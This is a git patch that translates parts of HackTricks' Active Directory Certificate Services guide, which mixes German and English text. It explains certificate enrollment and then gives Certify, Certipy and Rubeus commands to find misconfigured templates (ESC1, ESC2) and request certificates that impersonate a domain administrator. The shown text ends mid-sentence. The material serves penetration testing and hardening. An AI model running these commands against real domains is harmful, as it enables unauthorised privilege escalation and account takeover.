From b795e5b351a273c2090b1b0a20577419d07552d1 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 28 Aug 2025 22:32:25 +0000 Subject: [PATCH] Translated ['', 'src/windows-hardening/active-directory-methodology/ad-c --- .../ad-certificates/README.md | 132 ++--- .../ad-certificates/domain-escalation.md | 503 +++++++++--------- 2 files changed, 332 insertions(+), 303 deletions(-) diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/README.md b/src/windows-hardening/active-directory-methodology/ad-certificates/README.md index a645fd9d9..a169abadd 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/README.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/README.md @@ -1,112 +1,122 @@ -# AD-Zertifikate +# AD Certificates {{#include ../../../banners/hacktricks-training.md}} -## Einführung +## Introduction -### Komponenten eines Zertifikats +### Components of a Certificate -- Der **Betreff** des Zertifikats bezeichnet dessen Eigentümer. -- Ein **Öffentlicher Schlüssel** wird mit einem privat gehaltenen Schlüssel gekoppelt, um das Zertifikat mit seinem rechtmäßigen Eigentümer zu verknüpfen. -- Der **Gültigkeitszeitraum**, definiert durch die **NotBefore**- und **NotAfter**-Daten, markiert die effektive Dauer des Zertifikats. -- Eine eindeutige **Seriennummer**, die von der Zertifizierungsstelle (CA) bereitgestellt wird, identifiziert jedes Zertifikat. -- Der **Aussteller** bezieht sich auf die CA, die das Zertifikat ausgestellt hat. -- **SubjectAlternativeName** ermöglicht zusätzliche Namen für den Betreff und verbessert die Identifikationsflexibilität. -- **Basic Constraints** identifizieren, ob das Zertifikat für eine CA oder eine Endstelle gedacht ist, und definieren Nutzungsbeschränkungen. -- **Extended Key Usages (EKUs)** umreißen die spezifischen Zwecke des Zertifikats, wie Code-Signierung oder E-Mail-Verschlüsselung, durch Objektbezeichner (OIDs). -- Der **Signaturalgorithmus** gibt die Methode zum Signieren des Zertifikats an. -- Die **Signatur**, erstellt mit dem privaten Schlüssel des Ausstellers, garantiert die Authentizität des Zertifikats. +- The **Subject** of the certificate denotes its owner. +- A **Public Key** is paired with a privately held key to link the certificate to its rightful owner. +- The **Validity Period**, defined by **NotBefore** and **NotAfter** dates, marks the certificate's effective duration. +- A unique **Serial Number**, provided by the Certificate Authority (CA), identifies each certificate. +- The **Issuer** refers to the CA that has issued the certificate. +- **SubjectAlternativeName** allows for additional names for the subject, enhancing identification flexibility. +- **Basic Constraints** identify if the certificate is for a CA or an end entity and define usage restrictions. +- **Extended Key Usages (EKUs)** delineate the certificate's specific purposes, like code signing or email encryption, through Object Identifiers (OIDs). +- The **Signature Algorithm** specifies the method for signing the certificate. +- The **Signature**, created with the issuer's private key, guarantees the certificate's authenticity. -### Besondere Überlegungen +### Special Considerations -- **Subject Alternative Names (SANs)** erweitern die Anwendbarkeit eines Zertifikats auf mehrere Identitäten, was für Server mit mehreren Domänen entscheidend ist. Sichere Ausstellungsprozesse sind wichtig, um das Risiko der Identitätsübernahme durch Angreifer, die die SAN-Spezifikation manipulieren, zu vermeiden. +- **Subject Alternative Names (SANs)** expand a certificate's applicability to multiple identities, crucial for servers with multiple domains. Secure issuance processes are vital to avoid impersonation risks by attackers manipulating the SAN specification. -### Zertifizierungsstellen (CAs) in Active Directory (AD) +### Certificate Authorities (CAs) in Active Directory (AD) -AD CS erkennt CA-Zertifikate in einem AD-Wald durch bestimmte Container an, die jeweils einzigartige Rollen erfüllen: +AD CS acknowledges CA certificates in an AD forest through designated containers, each serving unique roles: -- Der Container **Zertifizierungsstellen** enthält vertrauenswürdige Root-CA-Zertifikate. -- Der Container **Registrierungsdienste** beschreibt Enterprise-CAs und deren Zertifikatvorlagen. -- Das Objekt **NTAuthCertificates** umfasst CA-Zertifikate, die für die AD-Authentifizierung autorisiert sind. -- Der Container **AIA (Authority Information Access)** erleichtert die Validierung der Zertifikatskette mit Zwischen- und Cross-CA-Zertifikaten. +- **Certification Authorities** container holds trusted root CA certificates. +- **Enrolment Services** container details Enterprise CAs and their certificate templates. +- **NTAuthCertificates** object includes CA certificates authorized for AD authentication. +- **AIA (Authority Information Access)** container facilitates certificate chain validation with intermediate and cross CA certificates. -### Zertifikatserwerb: Client-Zertifikatsanforderungsfluss +### Certificate Acquisition: Client Certificate Request Flow -1. Der Anforderungsprozess beginnt mit Clients, die eine Enterprise-CA finden. -2. Ein CSR wird erstellt, der einen öffentlichen Schlüssel und andere Details enthält, nachdem ein öffentlich-privates Schlüsselpaar generiert wurde. -3. Die CA bewertet den CSR anhand der verfügbaren Zertifikatvorlagen und stellt das Zertifikat basierend auf den Berechtigungen der Vorlage aus. -4. Nach Genehmigung signiert die CA das Zertifikat mit ihrem privaten Schlüssel und gibt es an den Client zurück. +1. The request process begins with clients finding an Enterprise CA. +2. A CSR is created, containing a public key and other details, after generating a public-private key pair. +3. The CA assesses the CSR against available certificate templates, issuing the certificate based on the template's permissions. +4. Upon approval, the CA signs the certificate with its private key and returns it to the client. -### Zertifikatvorlagen +### Certificate Templates -Diese Vorlagen, die innerhalb von AD definiert sind, umreißen die Einstellungen und Berechtigungen für die Ausstellung von Zertifikaten, einschließlich erlaubter EKUs und Rechte zur Registrierung oder Modifikation, die entscheidend für die Verwaltung des Zugriffs auf Zertifikatsdienste sind. +Defined within AD, these templates outline the settings and permissions for issuing certificates, including permitted EKUs and enrollment or modification rights, critical for managing access to certificate services. -## Zertifikatsregistrierung +## Certificate Enrollment -Der Registrierungsprozess für Zertifikate wird von einem Administrator initiiert, der **eine Zertifikatvorlage erstellt**, die dann von einer Enterprise-Zertifizierungsstelle (CA) **veröffentlicht** wird. Dadurch wird die Vorlage für die Clientregistrierung verfügbar, ein Schritt, der erreicht wird, indem der Name der Vorlage in das Feld `certificatetemplates` eines Active Directory-Objekts eingefügt wird. +Der Enrollment-Prozess für Zertifikate wird von einem Administrator initiiert, der eine **certificate template** erstellt, welche anschließend von einer Enterprise Certificate Authority (CA) **veröffentlicht** wird. Dadurch wird die Vorlage für die Client-Enrollments verfügbar, ein Schritt, der erreicht wird, indem der Name der Vorlage zum `certificatetemplates` Feld eines Active Directory-Objekts hinzugefügt wird. -Damit ein Client ein Zertifikat anfordern kann, müssen **Registrierungsrechte** gewährt werden. Diese Rechte werden durch Sicherheitsbeschreibungen auf der Zertifikatvorlage und der Enterprise-CA selbst definiert. Berechtigungen müssen an beiden Orten gewährt werden, damit eine Anfrage erfolgreich ist. +Damit ein Client ein Zertifikat anfordern kann, müssen ihm **Enrollment-Rechte** gewährt werden. Diese Rechte werden durch Security Descriptors auf der certificate template und auf der Enterprise CA selbst definiert. Berechtigungen müssen an beiden Stellen gesetzt sein, damit eine Anfrage erfolgreich ist. -### Vorlagenregistrierungsrechte +### Template Enrollment Rights -Diese Rechte werden durch Access Control Entries (ACEs) spezifiziert, die Berechtigungen wie: +Diese Rechte werden über Access Control Entries (ACEs) spezifiziert und beschreiben Berechtigungen wie: -- **Certificate-Enrollment** und **Certificate-AutoEnrollment**-Rechte, die jeweils mit spezifischen GUIDs verbunden sind. -- **ExtendedRights**, die alle erweiterten Berechtigungen erlauben. -- **FullControl/GenericAll**, die vollständige Kontrolle über die Vorlage bieten. +- **Certificate-Enrollment** und **Certificate-AutoEnrollment** Rechte, jeweils verknüpft mit spezifischen GUIDs. +- **ExtendedRights**, die alle erweiterten Berechtigungen zulassen. +- **FullControl/GenericAll**, die vollständige Kontrolle über die Vorlage gewähren. -### Enterprise-CA-Registrierungsrechte +### Enterprise CA Enrollment Rights -Die Rechte der CA sind in ihrem Sicherheitsdescriptor festgelegt, der über die Verwaltungs-Konsole der Zertifizierungsstelle zugänglich ist. Einige Einstellungen erlauben sogar Benutzern mit niedrigen Berechtigungen den Remote-Zugriff, was ein Sicherheitsrisiko darstellen könnte. +Die Rechte der CA sind im Security Descriptor der CA beschrieben, der über die Certificate Authority Management-Konsole zugänglich ist. Einige Einstellungen erlauben sogar Low-Privileged Usern Remote-Zugriff, was ein Sicherheitsrisiko darstellen kann. -### Zusätzliche Ausstellungssteuerungen +### Additional Issuance Controls -Bestimmte Kontrollen können gelten, wie: +Bestimmte Kontrollen können angewendet werden, wie z. B.: -- **Managergenehmigung**: Versetzt Anfragen in einen ausstehenden Zustand, bis sie von einem Zertifikatsmanager genehmigt werden. -- **Registrierungsagenten und autorisierte Signaturen**: Geben die Anzahl der erforderlichen Signaturen auf einem CSR und die notwendigen Anwendungsrichtlinien-OIDs an. +- **Manager Approval**: Platziert Anfragen in einem Pending-Zustand, bis ein Certificate Manager diese genehmigt. +- **Enrolment Agents and Authorized Signatures**: Legen die Anzahl erforderlicher Signaturen auf einer CSR und die nötigen Application Policy OIDs fest. -### Methoden zur Anforderung von Zertifikaten +### Methods to Request Certificates Zertifikate können angefordert werden über: -1. **Windows Client Certificate Enrollment Protocol** (MS-WCCE), unter Verwendung von DCOM-Schnittstellen. -2. **ICertPassage Remote Protocol** (MS-ICPR), über benannte Pipes oder TCP/IP. -3. Die **Zertifikatsregistrierungs-Webschnittstelle**, mit der Rolle der Webregistrierung der Zertifizierungsstelle installiert. -4. Den **Certificate Enrollment Service** (CES), in Verbindung mit dem Zertifikatsregistrierungspolitikdienst (CEP). -5. Den **Network Device Enrollment Service** (NDES) für Netzwerkgeräte, unter Verwendung des Simple Certificate Enrollment Protocol (SCEP). +1. Das **Windows Client Certificate Enrollment Protocol** (MS-WCCE), unter Verwendung von DCOM-Interfaces. +2. Das **ICertPassage Remote Protocol** (MS-ICPR), über Named Pipes oder TCP/IP. +3. Die **certificate enrollment web interface**, wenn die Certificate Authority Web Enrollment Rolle installiert ist. +4. Den **Certificate Enrollment Service** (CES), in Verbindung mit dem Certificate Enrollment Policy (CEP) Service. +5. Den **Network Device Enrollment Service** (NDES) für Netzwerkgeräte, unter Nutzung des Simple Certificate Enrollment Protocol (SCEP). -Windows-Benutzer können auch Zertifikate über die GUI (`certmgr.msc` oder `certlm.msc`) oder Befehlszeilentools (`certreq.exe` oder PowerShells `Get-Certificate`-Befehl) anfordern. +Windows-Benutzer können Zertifikate außerdem über die GUI (`certmgr.msc` oder `certlm.msc`) oder über Kommandozeilentools (`certreq.exe` oder PowerShells `Get-Certificate`-Befehl) anfordern. ```bash # Example of requesting a certificate using PowerShell Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My" ``` -## Zertifikatauthentifizierung +## Zertifikat-Authentifizierung -Active Directory (AD) unterstützt die Zertifikatauthentifizierung, hauptsächlich unter Verwendung der **Kerberos**- und **Secure Channel (Schannel)**-Protokolle. +Active Directory (AD) unterstützt die Zertifikat-Authentifizierung und verwendet hauptsächlich die Protokolle **Kerberos** und **Secure Channel (Schannel)**. ### Kerberos-Authentifizierungsprozess -Im Kerberos-Authentifizierungsprozess wird die Anfrage eines Benutzers nach einem Ticket Granting Ticket (TGT) mit dem **privaten Schlüssel** des Benutzerzertifikats signiert. Diese Anfrage unterliegt mehreren Validierungen durch den Domänencontroller, einschließlich der **Gültigkeit**, **Pfad** und **Widerrufsstatus** des Zertifikats. Zu den Validierungen gehört auch die Überprüfung, dass das Zertifikat von einer vertrauenswürdigen Quelle stammt und die Bestätigung der Anwesenheit des Ausstellers im **NTAUTH-Zertifikatspeicher**. Erfolgreiche Validierungen führen zur Ausstellung eines TGT. Das **`NTAuthCertificates`**-Objekt in AD, zu finden unter: +Im Kerberos-Authentifizierungsprozess wird die Anfrage eines Benutzers für ein Ticket Granting Ticket (TGT) mit dem **private key** des Benutzerzertifikats signiert. Diese Anfrage durchläuft beim Domain Controller mehrere Prüfungen, darunter die **Gültigkeit**, der **Pfad** und der **Widerrufsstatus** des Zertifikats. Zu den Prüfungen gehört außerdem die Überprüfung, dass das Zertifikat aus einer vertrauenswürdigen Quelle stammt und die Bestätigung, dass der Aussteller im **NTAUTH certificate store** vorhanden ist. Erfolgreiche Prüfungen führen zur Ausstellung eines TGT. Das **`NTAuthCertificates`**-Objekt in AD, zu finden unter: ```bash CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC= ``` -ist zentral für die Etablierung von Vertrauen für die Zertifikatauthentifizierung. +ist zentral für den Aufbau von Vertrauen bei der Zertifikatsauthentifizierung. ### Secure Channel (Schannel) Authentifizierung -Schannel ermöglicht sichere TLS/SSL-Verbindungen, bei denen der Client während eines Handshakes ein Zertifikat präsentiert, das, wenn es erfolgreich validiert wird, den Zugriff autorisiert. Die Zuordnung eines Zertifikats zu einem AD-Konto kann die **S4U2Self**-Funktion von Kerberos oder den **Subject Alternative Name (SAN)** des Zertifikats sowie andere Methoden umfassen. +Schannel erleichtert sichere TLS/SSL-Verbindungen, bei denen während eines Handshakes der Client ein Zertifikat präsentiert, das, wenn es erfolgreich validiert wird, den Zugriff autorisiert. Die Zuordnung eines Zertifikats zu einem AD-Konto kann Kerberos’ **S4U2Self**-Funktion oder den **Subject Alternative Name (SAN)** des Zertifikats umfassen, neben anderen Methoden. -### AD-Zertifikatdienste Aufzählung +### AD Certificate Services Enumeration -Die Zertifikatdienste von AD können durch LDAP-Abfragen aufgezählt werden, wodurch Informationen über **Enterprise Certificate Authorities (CAs)** und deren Konfigurationen offengelegt werden. Dies ist für jeden domänenauthentifizierten Benutzer ohne besondere Berechtigungen zugänglich. Tools wie **[Certify](https://github.com/GhostPack/Certify)** und **[Certipy](https://github.com/ly4k/Certipy)** werden zur Aufzählung und Schwachstellenbewertung in AD CS-Umgebungen verwendet. +Die Zertifikatdienste von AD können über LDAP-Abfragen enumeriert werden, wodurch Informationen über **Enterprise Certificate Authorities (CAs)** und deren Konfigurationen offenbart werden. Dies ist für jeden domänen-authentifizierten Benutzer ohne besondere Berechtigungen zugänglich. Tools wie **[Certify](https://github.com/GhostPack/Certify)** und **[Certipy](https://github.com/ly4k/Certipy)** werden zur Enumeration und Schwachstellenbewertung in AD CS-Umgebungen verwendet. Befehle zur Verwendung dieser Tools umfassen: ```bash -# Enumerate trusted root CA certificates and Enterprise CAs with Certify -Certify.exe cas -# Identify vulnerable certificate templates with Certify -Certify.exe find /vulnerable +# Enumerate trusted root CA certificates, Enterprise CAs and HTTP enrollment endpoints +# Useful flags: /domain, /path, /hideAdmins, /showAllPermissions, /skipWebServiceChecks +Certify.exe cas [/ca:SERVER\ca-name | /domain:domain.local | /path:CN=Configuration,DC=domain,DC=local] [/hideAdmins] [/showAllPermissions] [/skipWebServiceChecks] + +# Identify vulnerable certificate templates and filter for common abuse cases +Certify.exe find +Certify.exe find /vulnerable [/currentuser] +Certify.exe find /enrolleeSuppliesSubject # ESC1 candidates (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT) +Certify.exe find /clientauth # templates with client-auth EKU +Certify.exe find /showAllPermissions # include template ACLs in output +Certify.exe find /json /outfile:C:\Temp\adcs.json + +# Enumerate PKI object ACLs (Enterprise PKI container, templates, OIDs) – useful for ESC4/ESC7 discovery +Certify.exe pkiobjects [/domain:domain.local] [/showAdmins] # Use Certipy for enumeration and identifying vulnerable templates certipy find -vulnerable -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128 @@ -119,5 +129,7 @@ certutil -v -dstemplate - [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf) - [https://comodosslstore.com/blog/what-is-ssl-tls-client-authentication-how-does-it-work.html](https://comodosslstore.com/blog/what-is-ssl-tls-client-authentication-how-does-it-work.html) +- [GhostPack/Certify](https://github.com/GhostPack/Certify) +- [GhostPack/Rubeus](https://github.com/GhostPack/Rubeus) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md index 9eb7ac14f..e30f30fae 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md @@ -1,8 +1,9 @@ -# AD CS Domain Escalation +# AD CS Domänen-Eskalation {{#include ../../../banners/hacktricks-training.md}} -**Dies ist eine Zusammenfassung der Abschnitte zu Eskalationstechniken der Beiträge:** + +**Dies ist eine Zusammenfassung der Eskalationstechniken in den folgenden Beiträgen:** - [https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf) - [https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7) @@ -12,44 +13,55 @@ ### Erklärung -### Fehlkonfigurierte Zertifikatvorlagen - ESC1 Erklärt +### Fehlkonfigurierte Zertifikatvorlagen - ESC1 erklärt -- **Die Anmelderechte werden von der Enterprise CA an Benutzer mit niedrigen Rechten gewährt.** -- **Die Genehmigung des Managers ist nicht erforderlich.** -- **Keine Unterschriften von autorisiertem Personal sind erforderlich.** -- **Sicherheitsbeschreibungen auf Zertifikatvorlagen sind zu permissiv, was es Benutzern mit niedrigen Rechten ermöglicht, Anmelderechte zu erhalten.** -- **Zertifikatvorlagen sind so konfiguriert, dass sie EKUs definieren, die die Authentifizierung erleichtern:** -- Erweiterte Schlüsselverwendungs (EKU) Identifikatoren wie Client-Authentifizierung (OID 1.3.6.1.5.5.7.3.2), PKINIT Client-Authentifizierung (1.3.6.1.5.2.3.4), Smart Card-Anmeldung (OID 1.3.6.1.4.1.311.20.2.2), Beliebiger Zweck (OID 2.5.29.37.0) oder keine EKU (SubCA) sind enthalten. -- **Die Möglichkeit für Antragsteller, ein subjectAltName in der Zertifikatsanforderung (CSR) einzuschließen, wird durch die Vorlage erlaubt:** -- Das Active Directory (AD) priorisiert das subjectAltName (SAN) in einem Zertifikat zur Identitätsverifizierung, wenn es vorhanden ist. Das bedeutet, dass durch die Angabe des SAN in einer CSR ein Zertifikat angefordert werden kann, um sich als jeder Benutzer (z. B. ein Domänenadministrator) auszugeben. Ob ein SAN vom Antragsteller angegeben werden kann, wird im AD-Objekt der Zertifikatvorlage durch die Eigenschaft `mspki-certificate-name-flag` angezeigt. Diese Eigenschaft ist ein Bitmaskenwert, und das Vorhandensein des `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`-Flags erlaubt es dem Antragsteller, das SAN anzugeben. +- **Einschreiberechte werden von der Enterprise CA an niedrigprivilegierte Benutzer vergeben.** +- **Eine Genehmigung durch einen Manager ist nicht erforderlich.** +- **Unterschriften autorisierten Personals sind nicht erforderlich.** +- **Sicherheitsdeskriptoren auf Zertifikatvorlagen sind zu großzügig und erlauben niedrigprivilegierten Benutzern, Einschreiberechte zu erhalten.** +- **Zertifikatvorlagen sind so konfiguriert, dass EKUs definiert werden, die die Authentifizierung ermöglichen:** +- Extended Key Usage (EKU)-Kennungen wie Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0) oder kein EKU (SubCA) sind enthalten. +- **Die Vorlage erlaubt Anfragenden, einen subjectAltName im Certificate Signing Request (CSR) anzugeben:** +- Active Directory (AD) priorisiert den subjectAltName (SAN) in einem Zertifikat für die Identitätsprüfung, falls dieser vorhanden ist. Das bedeutet, dass durch das Angeben des SAN in einer CSR ein Zertifikat angefordert werden kann, um sich als beliebiger Benutzer (z. B. ein Domain-Administrator) auszugeben. Ob ein Antragsteller einen SAN angeben kann, wird im AD-Objekt der Zertifikatvorlage durch die Eigenschaft `mspki-certificate-name-flag` angezeigt. Diese Eigenschaft ist eine Bitmaske, und das Vorhandensein des Flags `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` erlaubt dem Antragsteller, den SAN anzugeben. > [!CAUTION] -> Die beschriebene Konfiguration erlaubt es Benutzern mit niedrigen Rechten, Zertifikate mit beliebigem SAN ihrer Wahl anzufordern, was die Authentifizierung als beliebiges Domänenprinzip über Kerberos oder SChannel ermöglicht. +> Die beschriebene Konfiguration erlaubt niedrigprivilegierten Benutzern, Zertifikate mit beliebigem SAN anzufordern, wodurch eine Authentifizierung als beliebiges Domain-Principal über Kerberos oder SChannel möglich wird. -Dieses Feature wird manchmal aktiviert, um die sofortige Erstellung von HTTPS- oder Hostzertifikaten durch Produkte oder Bereitstellungsdienste zu unterstützen oder aufgrund mangelnden Verständnisses. +Dieses Feature ist manchmal aktiviert, um die on-the-fly-Erzeugung von HTTPS- oder Host-Zertifikaten durch Produkte oder Deployment-Services zu unterstützen, oder aufgrund von Unkenntnis. -Es wird angemerkt, dass die Erstellung eines Zertifikats mit dieser Option eine Warnung auslöst, was nicht der Fall ist, wenn eine vorhandene Zertifikatvorlage (wie die `WebServer`-Vorlage, die `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` aktiviert hat) dupliziert und dann geändert wird, um eine Authentifizierungs-OID einzuschließen. +Es sei angemerkt, dass das Erstellen eines Zertifikats mit dieser Option eine Warnung auslöst, was nicht der Fall ist, wenn eine vorhandene Zertifikatvorlage (wie die `WebServer`-Vorlage, die `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` aktiviert hat) dupliziert und anschließend so geändert wird, dass sie eine Authentifizierungs-OID enthält. ### Missbrauch -Um **anfällige Zertifikatvorlagen zu finden**, können Sie Folgendes ausführen: +Um **verwundbare Zertifikatvorlagen** zu finden, können Sie ausführen: ```bash Certify.exe find /vulnerable certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128 ``` -Um diese **Schwachstelle auszunutzen, um einen Administrator zu impersonieren**, könnte man Folgendes ausführen: +Um **diese Schwachstelle auszunutzen, um sich als Administrator auszugeben**, könnte man Folgendes ausführen: ```bash -Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:localadmin -certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local' +# Impersonate by setting SAN to a target principal (UPN or sAMAccountName) +Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator@corp.local + +# Optionally pin the target's SID into the request (post-2022 SID mapping aware) +Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator /sid:S-1-5-21-1111111111-2222222222-3333333333-500 + +# Some CAs accept an otherName/URL SAN attribute carrying the SID value as well +Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator \ +/url:tag:microsoft.com,2022-09-14:sid:S-1-5-21-1111111111-2222222222-3333333333-500 + +# Certipy equivalent +certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' \ +-template 'ESC1' -upn 'administrator@corp.local' ``` -Dann können Sie das generierte **Zertifikat in das `.pfx`**-Format umwandeln und es erneut verwenden, um sich mit **Rubeus oder certipy** zu authentifizieren: +Anschließend kannst du das erzeugte Zertifikat in das `.pfx`-Format umwandeln und es erneut zur Authentifizierung mit Rubeus oder certipy verwenden: ```bash Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100 ``` -Die Windows-Binärdateien "Certreq.exe" & "Certutil.exe" können verwendet werden, um das PFX zu generieren: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee +Die Windows-Binaries "Certreq.exe" & "Certutil.exe" können verwendet werden, um die PFX zu generieren: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee -Die Aufzählung der Zertifikatvorlagen innerhalb des AD Forests Konfigurationsschemas, insbesondere derjenigen, die keine Genehmigung oder Unterschriften erfordern, die über eine Client-Authentifizierung oder Smart Card Logon EKU verfügen und mit dem `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`-Flag aktiviert sind, kann durch Ausführen der folgenden LDAP-Abfrage erfolgen: +Die Enumeration der Zertifikatsvorlagen innerhalb des AD Forest-Konfigurationsschemas — speziell solcher, die keine Genehmigung oder Signaturen benötigen, ein Client Authentication- oder Smart Card Logon EKU besitzen und bei denen das Flag `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` gesetzt ist — kann durch Ausführen der folgenden LDAP-Abfrage durchgeführt werden: ``` (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1)) ``` @@ -57,48 +69,48 @@ Die Aufzählung der Zertifikatvorlagen innerhalb des AD Forests Konfigurationssc ### Erklärung -Das zweite Missbrauchsszenario ist eine Variation des ersten: +Das zweite Missbrauchsszenario ist eine Variante des ersten: -1. Einschreiberechte werden von der Enterprise CA an niedrig privilegierte Benutzer vergeben. -2. Die Anforderung für die Genehmigung durch den Manager ist deaktiviert. -3. Die Notwendigkeit für autorisierte Unterschriften wird weggelassen. -4. Ein zu permissiver Sicherheitsdescriptor auf der Zertifikatvorlage gewährt niedrig privilegierten Benutzern die Rechte zur Zertifikateinschreibung. -5. **Die Zertifikatvorlage ist so definiert, dass sie die Any Purpose EKU oder keine EKU enthält.** +1. Enrollment-Rechte werden vom Enterprise CA an niedrig privilegierte Benutzer vergeben. +2. Die Anforderung einer Genehmigung durch Vorgesetzte ist deaktiviert. +3. Die Notwendigkeit autorisierter Signaturen wurde weggelassen. +4. Ein zu permissiver Security Descriptor auf der Zertifikatvorlage gewährt niedrig privilegierten Benutzern Enrollment-Rechte für Zertifikate. +5. **Die Zertifikatvorlage ist so definiert, dass sie die Any Purpose EKU enthält oder kein EKU besitzt.** -Die **Any Purpose EKU** erlaubt es einem Angreifer, ein Zertifikat für **jeden Zweck** zu erhalten, einschließlich Client-Authentifizierung, Server-Authentifizierung, Code-Signierung usw. Die gleiche **Technik, die für ESC3 verwendet wird**, kann genutzt werden, um dieses Szenario auszunutzen. +Die **Any Purpose EKU** erlaubt einem Angreifer, ein Zertifikat für **beliebige Zwecke** zu erhalten, einschließlich Client-Authentifizierung, Server-Authentifizierung, Code-Signierung usw. Dieselbe **Technik wie bei ESC3** kann verwendet werden, um dieses Szenario auszunutzen. -Zertifikate mit **keinen EKUs**, die als untergeordnete CA-Zertifikate fungieren, können für **jeden Zweck** ausgenutzt werden und können **auch verwendet werden, um neue Zertifikate zu signieren**. Daher könnte ein Angreifer beliebige EKUs oder Felder in den neuen Zertifikaten angeben, indem er ein untergeordnetes CA-Zertifikat verwendet. +Zertifikate mit **no EKUs**, die als untergeordnete CA-Zertifikate fungieren, können für **beliebige Zwecke** missbraucht werden und **auch zum Signieren neuer Zertifikate verwendet werden**. Folglich könnte ein Angreifer durch Verwendung eines untergeordneten CA-Zertifikats beliebige EKUs oder Felder in den neuen Zertifikaten festlegen. -Allerdings funktionieren neue Zertifikate, die für die **Domänenauthentifizierung** erstellt werden, nicht, wenn die untergeordnete CA nicht vom **`NTAuthCertificates`**-Objekt vertraut wird, was die Standardeinstellung ist. Dennoch kann ein Angreifer weiterhin **neue Zertifikate mit beliebiger EKU** und beliebigen Zertifikatwerten erstellen. Diese könnten potenziell **missbraucht** werden für eine Vielzahl von Zwecken (z. B. Code-Signierung, Server-Authentifizierung usw.) und könnten erhebliche Auswirkungen auf andere Anwendungen im Netzwerk wie SAML, AD FS oder IPSec haben. +Allerdings funktionieren neu erstellte Zertifikate für **domain authentication** nicht, wenn das untergeordnete CA nicht vom Objekt **`NTAuthCertificates`** vertraut wird, was die Standardeinstellung ist. Nichtsdestotrotz kann ein Angreifer weiterhin **neue Zertifikate mit any EKU** und beliebigen Zertifikatswerten erstellen. Diese könnten potenziell für eine Vielzahl von Zwecken **missbraucht** werden (z. B. Code-Signierung, Server-Authentifizierung usw.) und erhebliche Auswirkungen auf andere Anwendungen im Netzwerk wie SAML, AD FS oder IPSec haben. -Um Vorlagen zu enumerieren, die diesem Szenario innerhalb des Konfigurationsschemas des AD Forest entsprechen, kann die folgende LDAP-Abfrage ausgeführt werden: +Um Vorlagen zu enumerieren, die diesem Szenario innerhalb des Konfigurationsschemas des AD Forests entsprechen, kann die folgende LDAP-Abfrage ausgeführt werden: ``` (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))) ``` -## Fehlkonfigurierte Enrollment Agent Vorlagen - ESC3 +## Fehlkonfigurierte Enrolment Agent-Vorlagen - ESC3 ### Erklärung -Dieses Szenario ist wie das erste und zweite, aber **missbraucht** eine **andere EKU** (Certificate Request Agent) und **2 verschiedene Vorlagen** (daher hat es 2 Sets von Anforderungen), +Dieses Szenario ist ähnlich wie das erste und zweite, aber mit dem **Missbrauch** einer **anderen EKU** (Certificate Request Agent) und **2 unterschiedlicher Vorlagen** (daher gibt es 2 Anforderungssätze), -Die **Certificate Request Agent EKU** (OID 1.3.6.1.4.1.311.20.2.1), bekannt als **Enrollment Agent** in der Microsoft-Dokumentation, erlaubt einem Principal, sich **im Namen eines anderen Benutzers** für ein **Zertifikat** zu **registrieren**. +Die **Certificate Request Agent EKU** (OID 1.3.6.1.4.1.311.20.2.1), in der Microsoft-Dokumentation als **Enrollment Agent** bezeichnet, erlaubt einer Identität, für ein 